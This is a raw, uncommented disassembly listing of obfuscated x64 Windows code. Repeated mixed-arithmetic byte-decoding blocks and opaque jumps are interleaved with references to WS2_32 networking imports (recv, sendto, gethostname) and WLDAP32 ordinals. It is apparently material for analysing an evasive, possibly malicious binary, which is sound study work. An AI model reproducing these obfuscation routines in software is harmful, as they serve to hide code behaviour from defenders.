sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x463472911cc2c96c
jmp 0x140079cde
movabs rdx, 0x126b2f3adfd42ee0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
jmp 0x14007a825
movabs rcx, 0x86024a18a64e9c08
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
inc r9
dec rdi
inc rdi
jmp 0x140079cc2
movabs rcx, 0xf99964f66cc90930
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
dec rdi
inc rdi
jmp 0x140079cc2
movabs rdx, 0x6d307fd433437658
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x14007a789
movabs rcx, 0xe0c79ab1f9bde380
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x14007a8cb
movabs rdx, 0x545eb58fc03850a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079cc2
movabs rdx, 0xc7f5d06d86b2bdd0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a90a
movabs rdx, 0x3b8ceb4b4d2d2af8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a966
movabs rdx, 0xaf24062913a79820
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079cc2
movabs rcx, 0x501dc95383d9a904
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
mov byte [rbp + rdi + 0xc08], r11b
inc rdi
jmp 0x140079cc2
movabs rcx, 0xc3b4e4314a54162c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
cmp r9, 6
jb 0x14007a1a5
movabs rdx, 0xf8e5a5d1759c4108
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x70]
jmp 0x14007a828
movabs rcx, 0x374bff0f10ce8354
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
cmp r8, 0x2a
jae 0x14007a6af
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14007a5e0
movabs rdx, 0x7cccb27b36648498
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x14007a1d3
movabs rdx, 0xaae319ecd748f07c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 3
je 0x14007a6de
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14007a53c
movabs rdx, 0xba7f4c93da69febc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x14007a21f
movabs rcx, 0x8dd0636c27df2328
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079cc2
movabs rdx, 0x1677e49ee599050
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
jmp 0x14007a963
movabs rdx, 0x74fe9927b4d3fd78
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x14007a907
movabs rcx, 0xe895b4057b4e6aa0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079cc2
movabs rcx, 0x5c2ccee341c8d7c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x14007a8cb
movabs rdx, 0xcfc3e9c1084344f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007a789
movabs rdx, 0x435b049ecebdb218
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140079cc2
movabs rdx, 0xb6f21f7c95381f40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140079cc2
movabs rdx, 0x2a893a5a5bb28c68
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007a825
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14007a46d
movabs rdx, 0x463472911cc2c96c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007a27c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a4aa
movabs rcx, 0x849acbceb7f50bb8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079cc2
inc rax
cmp r8, rax
jne 0x14007a4ea
movabs rdx, 0x29d57b356485c440
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079cc2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007a51b
movabs rdx, 0xb63e60579e0b5718
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007a8cb
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007a27f
movabs rdx, 0x42a74579d790e9f0
mov ecx, gethostname
jmp 0x14007a775
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a568
movabs rcx, 0x46e831b613ef9194
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x14007a828
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a59f
movabs rdx, 0x5fb9fbfa86fab744
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140079cc2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007a21f
movabs rcx, 0xaa2f5ac7e01c2854
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4c
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079cc2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a61d
movabs rcx, 0x935979d6fea1770
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079cc2
inc rax
cmp r8, rax
jne 0x14007a64d
movabs rdx, 0x959e7cbfa96faa48
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a966
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a67e
movabs rdx, 0x220761e1e2f53d20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a90a
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14007a1d3
movabs rdx, 0x6c7cc0af3c16ae30
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
jmp 0x14007a825
movabs rdx, 0x854e8af3af21d3e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xc08]
sub r11b, al
sub r11b, 0x20
add r11b, bl
add r11b, dl
jmp 0x14007a789
movabs rdx, 0x11b77015e8a766b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xc08]
sub r11b, 8
jmp 0x14007a907
movabs rcx, 0xb1fd741b61acaf74
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2c
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079cc2
movabs rdx, 0x8059df927b966414
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a8cb
movabs rdx, 0xf3f0fa704210d13c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0xcb82fd84cbe49d4c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x14
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0xc08], bl
jmp 0x14007a8cb
movabs rdx, 0x6788154e088b3e64
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140079cc2
movabs rdx, 0x4eb64b09958018b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a828
movabs rdx, 0x35e480c52274f304
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1c
add r11b, dl
movabs rcx, 0x3f1a1862925f0a74
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x2c
add cl, bl
mov byte [rbp + rdi + 0xc08], cl
inc r9
dec rdi
inc rdi
jmp 0x140079cc2
movabs rcx, 0xa97b9ba2e8ef602c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
inc r9
dec rdi
inc rdi
jmp 0x140079cc2
movabs rcx, 0x1d12b680af69cd54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
dec rdi
inc rdi
jmp 0x140079cc2
movabs rcx, 0x440ec3c3c5ea7a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079cc2
mov rbx, r10
movabs rdx, 0xeb6f21f7c95381f4
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0x57ebe2a7056a3024
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xc08], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14007a966
movabs rdx, 0x5f063cd58fcdef1c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
movzx ebx, r10b
add r11b, dl
movabs rdx, 0x9e205538222cf990
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xc08], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079cc2
movabs rdx, 0xd29d57b356485c44
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079cc2
movabs rdx, 0x793f8563f132a51c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079cbe
movabs rdx, 0xecd6a041b7ad1244
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140079ca1
lea rcx, [rbp + 0x15f6098]
jmp 0x14007aa51
lea rcx, [rbp + 0xa22a04]
jmp 0x14007aa51
lea rcx, [rbp + 0xc08]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x1402261b0]
lea rcx, [rbp + 0x568]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0xc30], 0xde
mov byte [rbp + 0xc31], 0xfe
mov byte [rbp + 0xc32], 0xf3
mov byte [rbp + 0xc33], 0xe7
mov byte [rbp + 0xc34], 0xee
mov byte [rbp + 0xc35], 0xf5
mov byte [rbp + 0xc36], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xc37], Ordinal_211
mov byte [rbp + 0xc38], 0xf6
mov byte [rbp + 0xc39], 0xf6
mov byte [rbp + 0xc3a], 0xf5
mov byte [rbp + 0xc3b], 0xee
mov byte [rbp + 0xc3c], reloc.WLDAP32.dll_Ordinal_26
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc3d], xmm0
mov dword [rbp + 0xc4d], eax
mov word [rbp + 0xc51], ax
movabs rsi, 0xa34fdf7a3ee09f4f
movabs r13, 0x8ddf3b675853d6d3
movabs r14, 0x835411cf585a491
movabs r15, 0xec76ca4e44ddf6eb
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007b90d
movzx r11d, byte [rbp + rbx + 0xc30]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007b904
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007ab8c
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x3b
jmp 0x14007abd3
je 0x14007b87f
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007b7e1
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007b7ae
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007b74e
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007b721
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007b6cd
cmp r9, rbx
ja 0x14007b8fb
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14007abfd
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
jmp 0x14007ac40
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007b6a8
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007b67e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007b64a
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007b622
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007b5ed
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007b1b9
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007b190
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14007b163
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007b134
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007b110
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007b0d4
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007b0a0
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007b077
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007b8d7
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007b8b3
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007adc8
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007adad
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007ad92
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14007b012
lea rcx, [r9 + 0x28]
cmp r8, rcx
jb 0x14007afb4
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007af65
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007af36
mov r8, rcx
lea r9, [rcx + 0x41]
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x14007aefc
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x14007aed3
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x14007aeaf
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x14007ae76
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x14007ae3f
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x14007ae16
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x14007adec
mov r8, rax
lea r9, [rax + 0x42]
jmp 0x14007ac50
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
jmp 0x14007ac40
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
jmp 0x14007abd3
movabs rcx, 0xd0b8537f94364945
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x14007ab55
movabs rcx, 0xe3020e3495b59f2c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
dec rbx
inc rbx
jmp 0x14007ab42
movabs rdx, 0xc7439765e50df186
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b76c
movabs rcx, 0xab852097346643e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
movabs rdx, 0x8fc6a9c883be963a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
movabs rcx, 0x740832f9d316e894
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x14007b803
movabs rdx, 0x5849bc2b226f3aee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b836
movabs rdx, 0x3c8b455c71c78d48
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ab42
movabs rcx, 0x772f1c57b8245b29
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
mov byte [rbp + rbx + 0xc30], r10b
inc rbx
jmp 0x14007ab42
movabs rcx, 0x5b70a589077cad83
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
cmp r9, 0x41
jb 0x14007af55
movabs rcx, 0x86f1ab2d31679812
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 1
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14007b6ec
movabs rcx, 0x3fb22eba56d4ffdd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
cmp r8, 8
jae 0x14007b58c
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14007b437
movabs rdx, 0x7181071a4adacf96
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1a
add r10b, dl
jmp 0x14007af84
movabs rcx, 0x23f3b7eba62d5237
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
lea rax, [r9 + r8]
cmp rax, 8
je 0x14007b5bc
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14007b2e7
movabs rdx, 0xce3127a00bfa3047
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xf
add r10b, dl
jmp 0x14007afd3
movabs rdx, 0x9c624f4017f4608e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b803
movabs rcx, 0x80a3d871674cb2e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
movabs rdx, 0x64e561a2b6a50542
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
movabs rcx, 0x4926ead405fd579c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x14007b76c
movabs rdx, 0x2d6874055555a9f6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007ab42
movabs rcx, 0x11a9fd36a4adfc50
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x14007ab42
movabs rdx, 0xf5eb8667f4064eaa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b6ec
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14007b1dd
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
jmp 0x14007b031
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007b21b
movabs rcx, 0x469fbef47dc13e9e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x52
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ab42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b24c
movabs rdx, 0x7e1cac91df1099ea
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x66
add r10b, dl
jmp 0x14007b803
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007b279
movabs rcx, 0xd15810fdf107a2dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x14007b76c
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007b2b1
movabs rdx, 0xed1687cca1af5082
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007ab42
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007b031
movabs rdx, 0x2493756a02feabce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b6ec
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007b314
movabs rcx, 0xe9ef9e6ebca1dded
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
jmp 0x14007b6ec
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b347
movabs rcx, 0x216c8c0c1df13939
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x71
dec rbx
inc rbx
jmp 0x14007ab42
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007b387
movabs rcx, 0x58e979a97f409485
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007b3c4
movabs rcx, 0x74a7f0782fe8422b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007b3f5
movabs rdx, 0x90666746e08fefd1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x49
add r10b, dl
jmp 0x14007b803
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007afd3
movabs rcx, 0xc7e354e441df4b1d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ab42
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007b47a
movabs rdx, 0x8d3f7de8fb827d3c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ab42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b4ac
movabs rdx, 0xc4bc6b865cd1d888
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b803
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007b4f1
movabs rdx, 0xfc395923be2133d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
lea rax, [r9 + 2]
cmp r8, rax
